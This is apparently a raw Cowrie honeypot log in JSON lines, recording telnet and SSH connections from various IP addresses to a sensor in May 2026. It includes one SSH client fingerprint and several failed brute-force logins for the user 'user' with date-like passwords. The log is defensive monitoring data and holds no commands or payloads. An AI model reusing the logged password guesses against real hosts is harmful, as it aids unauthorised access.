{"eventid":"cowrie.session.closed","duration":43.38777422904968,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:54.255383Z","src_ip":"45.58.127.90","session":"c18a0dbec9b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43296,"dst_ip":"10.17.0.5","dst_port":23,"session":"00b8388ea3b7","protocol":"telnet","message":"New connection: 45.58.127.90:43296 (10.17.0.5:23) [session: 00b8388ea3b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:54.460026Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.176.23","src_port":34697,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba618fc745ba","protocol":"telnet","message":"New connection: 31.134.176.23:34697 (10.17.0.5:23) [session: ba618fc745ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:56.826805Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43300,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eca16f2aa5d","protocol":"telnet","message":"New connection: 45.58.127.90:43300 (10.17.0.5:23) [session: 1eca16f2aa5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:59.381389Z"}
{"eventid":"cowrie.session.closed","duration":45.46674990653992,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:50:00.782925Z","src_ip":"45.58.127.90","session":"24addd58480f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.59888768196106,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:50:05.575644Z","src_ip":"147.182.143.59","session":"99195d20635c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.625075340270996,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:50:10.451706Z","src_ip":"31.134.176.23","session":"ba618fc745ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42676,"dst_ip":"10.17.0.5","dst_port":23,"session":"948468657d97","protocol":"telnet","message":"New connection: 45.58.127.90:42676 (10.17.0.5:23) [session: 948468657d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:50:17.745594Z"}
{"eventid":"cowrie.session.closed","duration":42.34908580780029,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:50:26.168092Z","src_ip":"45.58.127.90","session":"826fe41dcd5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41524,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf7c9c3463dd","protocol":"telnet","message":"New connection: 45.58.127.90:41524 (10.17.0.5:23) [session: cf7c9c3463dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:50:30.456803Z"}
{"eventid":"cowrie.session.closed","duration":36.371031284332275,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:50:30.830937Z","src_ip":"45.58.127.90","session":"00b8388ea3b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.434504985809326,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:50:31.274823Z","src_ip":"45.58.127.90","session":"3f6bd39039d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":54990,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d2aceb04fbe","protocol":"telnet","message":"New connection: 3.130.168.2:54990 (159.203.135.109:23) [session: 3d2aceb04fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:50:32.744422Z"}
{"eventid":"cowrie.session.closed","duration":0.037264347076416016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:50:32.781590Z","src_ip":"3.130.168.2","session":"3d2aceb04fbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.92593789100647,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:50:37.307201Z","src_ip":"45.58.127.90","session":"1eca16f2aa5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.72.140.47","src_port":55984,"dst_ip":"10.17.0.5","dst_port":23,"session":"84ebc42589a6","protocol":"telnet","message":"New connection: 111.72.140.47:55984 (10.17.0.5:23) [session: 84ebc42589a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:50:38.706748Z"}
{"eventid":"cowrie.session.closed","duration":13.29822564125061,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:50:52.004850Z","src_ip":"111.72.140.47","session":"84ebc42589a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.430938959121704,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:01.176389Z","src_ip":"45.58.127.90","session":"948468657d97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.14734482765198,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:12.603997Z","src_ip":"45.58.127.90","session":"cf7c9c3463dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":38816,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9a76b7cdd5d","protocol":"telnet","message":"New connection: 147.182.143.59:38816 (159.203.135.109:23) [session: c9a76b7cdd5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:17.393367Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42248,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cb30b85f824","protocol":"telnet","message":"New connection: 147.182.143.59:42248 (159.203.135.109:23) [session: 6cb30b85f824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:20.336230Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42256,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ec0964cea74","protocol":"telnet","message":"New connection: 147.182.143.59:42256 (159.203.135.109:23) [session: 2ec0964cea74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:23.120995Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42270,"dst_ip":"159.203.135.109","dst_port":23,"session":"6359ed68e314","protocol":"telnet","message":"New connection: 147.182.143.59:42270 (159.203.135.109:23) [session: 6359ed68e314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:23.739745Z"}
{"eventid":"cowrie.session.closed","duration":11.375994682312012,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:28.769256Z","src_ip":"147.182.143.59","session":"c9a76b7cdd5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":49806,"dst_ip":"159.203.135.109","dst_port":23,"session":"0002cafed8f7","protocol":"telnet","message":"New connection: 147.182.143.59:49806 (159.203.135.109:23) [session: 0002cafed8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:30.068890Z"}
{"eventid":"cowrie.session.closed","duration":8.75153112411499,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:32.491153Z","src_ip":"147.182.143.59","session":"6359ed68e314","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.998007774353027,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:35.118901Z","src_ip":"147.182.143.59","session":"2ec0964cea74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.26.238.2","src_port":54204,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4243d8470c4","protocol":"telnet","message":"New connection: 125.26.238.2:54204 (10.17.0.5:23) [session: a4243d8470c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:40.025033Z"}
{"eventid":"cowrie.session.closed","duration":13.166154146194458,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:43.234840Z","src_ip":"147.182.143.59","session":"0002cafed8f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":35328,"dst_ip":"159.203.135.109","dst_port":23,"session":"94dc863c7924","protocol":"telnet","message":"New connection: 147.182.143.59:35328 (159.203.135.109:23) [session: 94dc863c7924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:51.166159Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":42214,"dst_ip":"10.17.0.5","dst_port":23,"session":"a00ddb4e71dd","protocol":"telnet","message":"New connection: 3.130.168.2:42214 (10.17.0.5:23) [session: a00ddb4e71dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:52.027674Z"}
{"eventid":"cowrie.session.closed","duration":0.032021522521972656,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:52.059565Z","src_ip":"3.130.168.2","session":"a00ddb4e71dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.650498628616333,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:53.675406Z","src_ip":"125.26.238.2","session":"a4243d8470c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54358,"dst_ip":"10.17.0.5","dst_port":23,"session":"9224d28b901c","protocol":"telnet","message":"New connection: 45.58.127.90:54358 (10.17.0.5:23) [session: 9224d28b901c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:57.129162Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51270,"dst_ip":"10.17.0.5","dst_port":23,"session":"51c555e648a5","protocol":"telnet","message":"New connection: 45.58.127.90:51270 (10.17.0.5:23) [session: 51c555e648a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:51:58.999744Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51282,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bd7483e9df2","protocol":"telnet","message":"New connection: 45.58.127.90:51282 (10.17.0.5:23) [session: 9bd7483e9df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:00.570587Z"}
{"eventid":"cowrie.session.closed","duration":11.212841510772705,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:02.378875Z","src_ip":"147.182.143.59","session":"94dc863c7924","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":44090,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb3311e151aa","protocol":"telnet","message":"New connection: 147.182.143.59:44090 (159.203.135.109:23) [session: fb3311e151aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:09.727092Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":48992,"dst_ip":"159.203.135.109","dst_port":22,"session":"25053fba3fb1","protocol":"ssh","message":"New connection: 2.57.121.25:48992 (159.203.135.109:22) [session: 25053fba3fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:11.234831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:11.239734Z","src_ip":"2.57.121.25","session":"25053fba3fb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:11.341160Z","src_ip":"2.57.121.25","session":"25053fba3fb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24021980","message":"login attempt [user/24021980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:11.821142Z","src_ip":"2.57.121.25","session":"25053fba3fb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"240185","message":"login attempt [user/240185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:12.925971Z","src_ip":"2.57.121.25","session":"25053fba3fb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48542,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddb85eb59394","protocol":"telnet","message":"New connection: 45.58.127.90:48542 (10.17.0.5:23) [session: ddb85eb59394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:13.439730Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"24011980","message":"login attempt [user/24011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:14.031046Z","src_ip":"2.57.121.25","session":"25053fba3fb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"2401","message":"login attempt [user/2401] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:15.137932Z","src_ip":"2.57.121.25","session":"25053fba3fb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23121980","message":"login attempt [user/23121980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:16.243430Z","src_ip":"2.57.121.25","session":"25053fba3fb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:17.353128Z","src_ip":"2.57.121.25","session":"25053fba3fb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.159647941589355,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:22.886606Z","src_ip":"147.182.143.59","session":"fb3311e151aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.40610837936401,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:25.742119Z","src_ip":"147.182.143.59","session":"6cb30b85f824","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.58180546760559,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:39.710878Z","src_ip":"45.58.127.90","session":"9224d28b901c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.12621855735779,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:40.696696Z","src_ip":"45.58.127.90","session":"9bd7483e9df2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.546191930770874,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:42.545825Z","src_ip":"45.58.127.90","session":"51c555e648a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58496,"dst_ip":"10.17.0.5","dst_port":23,"session":"327cbf801cec","protocol":"telnet","message":"New connection: 45.58.127.90:58496 (10.17.0.5:23) [session: 327cbf801cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:50.219212Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":46924,"dst_ip":"159.203.135.109","dst_port":23,"session":"21e77587d191","protocol":"telnet","message":"New connection: 147.182.143.59:46924 (159.203.135.109:23) [session: 21e77587d191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:52:57.564626Z"}
{"eventid":"cowrie.session.closed","duration":46.84905171394348,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:00.288583Z","src_ip":"45.58.127.90","session":"ddb85eb59394","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":46928,"dst_ip":"159.203.135.109","dst_port":23,"session":"9be598d1a45a","protocol":"telnet","message":"New connection: 147.182.143.59:46928 (159.203.135.109:23) [session: 9be598d1a45a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:02.387841Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54206,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb30850055b0","protocol":"telnet","message":"New connection: 45.58.127.90:54206 (10.17.0.5:23) [session: cb30850055b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:04.022911Z"}
{"eventid":"cowrie.session.closed","duration":12.490583181381226,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:10.055128Z","src_ip":"147.182.143.59","session":"21e77587d191","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":38100,"dst_ip":"159.203.135.109","dst_port":23,"session":"831473300ede","protocol":"telnet","message":"New connection: 147.182.143.59:38100 (159.203.135.109:23) [session: 831473300ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:13.265449Z"}
{"eventid":"cowrie.session.closed","duration":12.555366277694702,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:14.943099Z","src_ip":"147.182.143.59","session":"9be598d1a45a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":55964,"dst_ip":"159.203.135.109","dst_port":23,"session":"8280303a5891","protocol":"telnet","message":"New connection: 147.182.143.59:55964 (159.203.135.109:23) [session: 8280303a5891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:19.408954Z"}
{"eventid":"cowrie.session.closed","duration":9.895981788635254,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:23.161309Z","src_ip":"147.182.143.59","session":"831473300ede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.891266584396362,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:32.300107Z","src_ip":"147.182.143.59","session":"8280303a5891","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.77060604095459,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:33.989729Z","src_ip":"45.58.127.90","session":"327cbf801cec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41062,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e6d2f7ad598","protocol":"telnet","message":"New connection: 147.182.143.59:41062 (159.203.135.109:23) [session: 3e6d2f7ad598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:40.895842Z"}
{"eventid":"cowrie.session.closed","duration":37.612419843673706,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:41.635224Z","src_ip":"45.58.127.90","session":"cb30850055b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41074,"dst_ip":"159.203.135.109","dst_port":23,"session":"16ee9fa42fea","protocol":"telnet","message":"New connection: 147.182.143.59:41074 (159.203.135.109:23) [session: 16ee9fa42fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:45.641645Z"}
{"eventid":"cowrie.session.closed","duration":9.98320460319519,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:50.878952Z","src_ip":"147.182.143.59","session":"3e6d2f7ad598","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.005929708480835,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:51.647443Z","src_ip":"147.182.143.59","session":"16ee9fa42fea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"131.0.230.25","src_port":11567,"dst_ip":"10.17.0.5","dst_port":23,"session":"6357b5ad814a","protocol":"telnet","message":"New connection: 131.0.230.25:11567 (10.17.0.5:23) [session: 6357b5ad814a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:54.814036Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56924,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0722b87b2e4","protocol":"telnet","message":"New connection: 147.182.143.59:56924 (159.203.135.109:23) [session: c0722b87b2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:55.970865Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":53976,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe3ee26be9f6","protocol":"telnet","message":"New connection: 3.130.168.2:53976 (159.203.135.109:23) [session: fe3ee26be9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:53:58.453050Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44774,"dst_ip":"10.17.0.5","dst_port":23,"session":"9add24ae9bee","protocol":"telnet","message":"New connection: 45.58.127.90:44774 (10.17.0.5:23) [session: 9add24ae9bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:54:00.725692Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":44352,"dst_ip":"159.203.135.109","dst_port":23,"session":"de4439933f86","protocol":"telnet","message":"New connection: 147.182.143.59:44352 (159.203.135.109:23) [session: de4439933f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:54:01.080187Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44764,"dst_ip":"10.17.0.5","dst_port":23,"session":"7beb3d5453b7","protocol":"telnet","message":"New connection: 45.58.127.90:44764 (10.17.0.5:23) [session: 7beb3d5453b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:54:02.454980Z"}
{"eventid":"cowrie.session.closed","duration":12.593572854995728,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:54:07.407480Z","src_ip":"131.0.230.25","session":"6357b5ad814a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.857911586761475,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:54:07.828625Z","src_ip":"147.182.143.59","session":"c0722b87b2e4","protocol":"telnet"}
